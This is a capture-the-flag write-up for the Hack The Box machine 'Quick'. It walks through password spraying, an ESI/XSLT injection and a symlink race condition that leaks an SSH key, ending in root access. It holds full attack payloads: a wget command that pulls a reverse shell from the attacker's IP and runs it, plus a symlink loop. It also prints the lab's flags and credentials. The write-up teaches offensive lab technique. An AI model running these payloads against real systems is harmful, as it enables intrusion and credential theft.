f4d3

f4d3

InfoSec enthusiast | pwn | RE | CTF | BugBounty

HTB{quick}

Summary

Very funny box, which I hated the entry foothold because I didn’t even think about it.
user: QUIC and usage of a docker to connect to HTTP3, from there, we’ve have to make a custom wordlist to test the default password. Then we have to get the hint via the header to make an XSLT injection to achieve RCE.
root: for root, we’ve to reach the virtual host from the apache conf, edit the account by hand on mySQL, enter to the server and manage to win the race condition of the php code. Then, as the 2nd user, we have to check one config file where the root password is in plain text in a form of a URL login.

recon

Basic endpoints found:

  • http://portal.quick.htb:9001/
  • http://portal.quick.htb:9001/login.php
  • http://portal.quick.htb:9001/clients.php

Tried many things, nothing worked.
With maaaaaaany minutes of enumeration, the entry point was in front of my eyes all the time: http3/quic. I wasn’t able to make chromium works for it (If anyone did, please, pm me :D) .
But, I found a docker file which helps me to connect.
This is just an http3/curl docker which helps me use http3-QUIC with the server.

  • Download de Dockerfile and build it:
docker build -t quic_thing .

From here, we have:

  • https://10.10.10.186/index.php?view=contact
  • https://10.10.10.186/index.php?view=about
  • https://10.10.10.186/index.php?view=docs

user.txt

From docs/connectivity.pdf

You can use your registered email address and Quick4cc3$$ as password.

With the correct email, we suppose to be able to enter with Quick4cc3$$ as pw (if the user forgot to change the default password).

  • Some names under Testimonials:
tim
roy
elisa
james
jane
mike
john
  • Possibles companys:
qconsulting.uk
darkwing.us
wink.uk
lazycoop.cn
scoobydoo.it
penguincrop.fr
qconsulting.co.uk
darkwing.co.us
wink.co.uk
lazycoop.co.cn
scoobydoo.co.it
penguincrop.co.fr
quick.htb
portal.quick.htb
  • Doing a correct merge from this, we got:
tim@qconsulting.uk
tim@darkwing.us
tim@wink.uk
tim@lazycoop.cn
tim@scoobydoo.it
tim@penguincrop.fr
tim@qconsulting.co.uk
tim@darkwing.co.us
tim@wink.co.uk
tim@lazycoop.co.cn
tim@scoobydoo.co.it
tim@penguincrop.co.fr
tim@quick.htb
tim@portal.quick.htb
roy@qconsulting.uk
roy@darkwing.us
roy@wink.uk
roy@lazycoop.cn
roy@scoobydoo.it
roy@penguincrop.fr
roy@qconsulting.co.uk
roy@darkwing.co.us
roy@wink.co.uk
roy@lazycoop.co.cn
roy@scoobydoo.co.it
roy@penguincrop.co.fr
roy@quick.htb
roy@portal.quick.htb
elisa@qconsulting.uk
elisa@darkwing.us
elisa@wink.uk
elisa@lazycoop.cn
elisa@scoobydoo.it
elisa@penguincrop.fr
elisa@qconsulting.co.uk
elisa@darkwing.co.us
elisa@wink.co.uk
elisa@lazycoop.co.cn
elisa@scoobydoo.co.it
elisa@penguincrop.co.fr
elisa@quick.htb
elisa@portal.quick.htb
james@qconsulting.uk
james@darkwing.us
james@wink.uk
james@lazycoop.cn
james@scoobydoo.it
james@penguincrop.fr
james@qconsulting.co.uk
james@darkwing.co.us
james@wink.co.uk
james@lazycoop.co.cn
james@scoobydoo.co.it
james@penguincrop.co.fr
james@quick.htb
james@portal.quick.htb
jane@qconsulting.uk
jane@darkwing.us
jane@wink.uk
jane@lazycoop.cn
jane@scoobydoo.it
jane@penguincrop.fr
jane@qconsulting.co.uk
jane@darkwing.co.us
jane@wink.co.uk
jane@lazycoop.co.cn
jane@scoobydoo.co.it
jane@penguincrop.co.fr
jane@quick.htb
jane@portal.quick.htb
mike@qconsulting.uk
mike@darkwing.us
mike@wink.uk
mike@lazycoop.cn
mike@scoobydoo.it
mike@penguincrop.fr
mike@qconsulting.co.uk
mike@darkwing.co.us
mike@wink.co.uk
mike@lazycoop.co.cn
mike@scoobydoo.co.it
mike@penguincrop.co.fr
mike@quick.htb
mike@portal.quick.htb
john@qconsulting.uk
john@darkwing.us
john@wink.uk
john@lazycoop.cn
john@scoobydoo.it
john@penguincrop.fr
john@qconsulting.co.uk
  • Using this wordlist, and the password before on burp intruder or ffuf:

elisa@wink.co.uk:Quick4cc3$$

  • Got into the ticket system

  • After many time enumerating the service, and having in mind the following:

Why not to try XSLT/ESI injection:

Got the SSRF, from here, we can achieve an XXE from here. So I did a two way exploit,

  • First, make the server to download the reverse shell.
  • Second, execute it.
  • I modify one SimpleHTTPServer, because the server will ask for something like: GET http://blabla/payload.xml, and that breaks the simpleHTTPServer, so I modified it to response the same file for every request.
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from httplib import HTTPResponse                                                     from os import curdir,sep
class RequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-type","text/html")
        self.end_headers()
        f = open("./xxe.xml")
        self.wfile.write(f.read())
        f.close()
        return 
        if self.path == '/':
            self.path  = '/index.html'
        try:
            sendReply = False
            if self.path.endswith(".html"):
                mimeType = 'text/html'
                sendReply = True
            if sendReply == True:
                f = open(curdir + sep + self.path)
                self.send_response(200)
                self.send_header('Content-type', mimeType)
                self.end_headers()
                self.wfile.write(f.read())
                f.close()
            return
        except IOError:
            self.send_error(404,'File not found!')


def run():
    print('http server is starting...')
    #by default http server port is 80
    server_address = ('0.0.0.0', 80)
    httpd = HTTPServer(server_address, RequestHandler)
    try:
        print 'http server is running...'
        httpd.serve_forever()
    except KeyboardInterrupt:
        httpd.socket.close()

if __name__ == '__main__':
    run()

My first xml file was:

<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="cmd"><![CDATA[wget myip:8000/rev.py -O /tmp/f4d3 ]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>
  • The second one
<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="cmd"><![CDATA[python /tmp/f4d3 ]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>
  • Final web payload:
POST /ticket.php HTTP/1.1
Host: portal.quick.htb:9001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://portal.quick.htb:9001/ticket.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 147
Connection: close
Cookie: PHPSESSID=6fsp70f2ki2ku460nokabodhp4
Upgrade-Insecure-Requests: 1

title=te&msg=Describe+your+queryte&id=TKT-39194<esi:include src="http://10.10.14.24/xxe.xml" stylesheet="http://10.10.14.24/xxe.xsl"></esi:include>

user.txt:968047bf11c0e7f7b87742d6e9e8af0e

root.txt

Virtual host for printing

  • We edit our /etc/hosts file, and we’re in front of the login page.
  • The source code of this page is under /var/www/printer
  • From enum we got on /var/www/html/db.php
sam@quick:/var/www/html$ cat db.php 
<?php
$conn = new mysqli("localhost","db_adm","db_p4ss","quick");
?>
sam@quick:/var/www/html$ 

Connecting to local mysql service we can see 2 accounts:

And update the srvadm account:

I used the following hash: 0fc7e3bdaf515107d373c9908d4970e5 to set the password to test srvadm@quick.htb:test

With this, we can enter easily to the printerv2.quick.htb

Inside the portal we can add printer/add new jobs. The most interesting part of the source code is on job.php


if($_SESSION["loggedin"])
{
if(isset($_POST["submit"]))
{
        $title=$_POST["title"];
        $file = date("Y-m-d_H:i:s");
        file_put_contents("/var/www/jobs/".$file,$_POST["desc"]);
        chmod("/var/www/printer/jobs/".$file,"0777");
        $stmt=$conn->prepare("select ip,port from jobs");
        $stmt->execute();
        $result=$stmt->get_result();
        if($result->num_rows > 0)
        {
                $row=$result->fetch_assoc();
                $ip=$row["ip"];
                $port=$row["port"];
                try{
                        $connector = new NetworkPrintConnector($ip,$port);
                        sleep(0.5); //Buffer for socket check
                        $printer = new Printer($connector);
                        $printer -> text(file_get_contents("/var/www/jobs/".$file));
                        $printer -> cut();
                        $printer -> close();
                        $message="Job assigned";
                        unlink("/var/www/jobs/".$file);
                }
                catch(Exception $error)
                {
                        $error="Can't connect to printer.";
                        unlink("/var/www/jobs/".$file);
                }
        }
        else
        {
                $error="Couldn't find printer.";
        }
}

Just right on the chmod is the vuln, and in the try block is the exploit.

  • First, the server will create a new file.
  • Will make it 777 permission.
  • Imagine here that we can delete the file and make a symlink to another file very fast (race condition)
  • The program will send the symlink content over the network to the printer.

I did a tiny shell script to brute the symlink and win the race condition

#!bin/sh
cd /var/www/jobs;
while true; 
do
        for k in `ls`; 
        do
                rm -rf $k 2>/dev/null;
                ln -s /home/srvadm/.ssh/id_rsa $k;
         done
done

Running this, and sending a new job to our controlled server, we get the private key of srvadm :D !

We can SSHin as srvadm !

From basic enumeration on the home directory we’ve got some interesting config files

srvadm@quick:~$ find .
.
./.cache
./.cache/conf.d
./.cache/conf.d/printers.conf
./.cache/conf.d/cupsd.conf
./.cache/logs
./.cache/logs/debug.log
./.cache/logs/error.log
./.cache/logs/cups.log
./.cache/packages
./.cache/motd.legal-displayed
./.bash_logout
./.viminfo
./.bash_history
./.local
./.local/share
./.local/share/nano
./.local/share/nano/search_history
./.ssh
./.ssh/known_hosts
./.ssh/authorized_keys
./.ssh/id_rsa
./.ssh/id_rsa.pub
./.bashrc
./.gnupg
./.gnupg/private-keys-v1.d
./.profile
srvadm@quick:~$ 

If we dig deeper into .cache/ directory, we’ve got some .conf files, always juicy.

$ cat .cache/conf.d/printers.conf

...
Option job-cancel-after 10800                                                                   [45/1627]
Option media 12
Option output-bin 0
Option print-color-mode color
Option print-quality 5
Attribute marker-colors \#00FFFF,#FF00FF,#FFFF00,#000000,#00FFFF,#00FFFF,#FF00FF,#FF00FF,#FFFF00,#FFFF00,#000000,#000000,none,none,none,none
Attribute marker-levels 51,63,64,39,82,98,82,98,82,98,49,92,-1,92,83,86
Attribute marker-low-levels 10,10,10,10,10,10,10,10,10,10,10,10,0,10,10,10
Attribute marker-high-levels 100,100,100,100,100,100,100,100,100,100,100,100,99,100,100,100
Attribute marker-names Toner Cartridge (C),Toner Cartridge (M),Toner Cartridge (Y),Toner Cartridge (K),Drum Cartridge(C),Developer Cartridge(C),Drum Cartridge(M),Developer Cartridge(M),Drum Cartr
idge(Y),Developer Cartridge(Y),Drum Cartridge(K),Developer Cartridge(K),Waste Toner Box,Fusing Unit,Image Transfer Belt Unit,Transfer Roller Unit
Attribute marker-types toner,toner,toner,toner,opc,developer,opc,developer,opc,developer,opc,developer,waste-toner,fuser,transfer-unit,transfer-unit
Attribute marker-change-time 1582042248
</Printer> 
<Printer OLD_Aviatar>
PrinterId 2   
UUID urn:uuid:0929509f-7173-3afd-6be2-4da0a43ccefe
Info 8595
Location Aviatar
MakeModel KONICA MINOLTA C554SeriesPS(P)
DeviceURI https://srvadm%40quick.htb:%26ftQ4K3SGde8%3F@printerv3.quick.htb/printer
State Idle
StateTime 1549274624
ConfigTime 1549274625
Type 8401100
Accepting Yes
Shared Yes
JobSheets none none  
QuotaPeriod 0
PageLimit 0
KLimit 0                
OpPolicy default                  
ErrorPolicy stop-printer
Option job-cancel-after 10800
Option media 1      
Option output-bin 0  
Option print-color-mode color
Option print-quality 5
</Printer>
<DefaultPrinter PA-7032>
PrinterId 3  
...

From here, we got the entire DeviceURI wich the admin is aunthenticated via the URL, From URL RFC

URL-Decoding the URL:

DeviceURI https://srvadm@quick.htb:&ftQ4K3SGde8?@printerv3.quick.htb/printer

With this, we’ve got the root password, and the flag, 👀 !

root:&ftQ4K3SGde8?

srvadm@quick:~$ su -
Password: 
root@quick:~# cat root.txt
47003db23eeb2130887883700b232b86
root@quick:~# 

root.txt:47003db23eeb2130887883700b232b86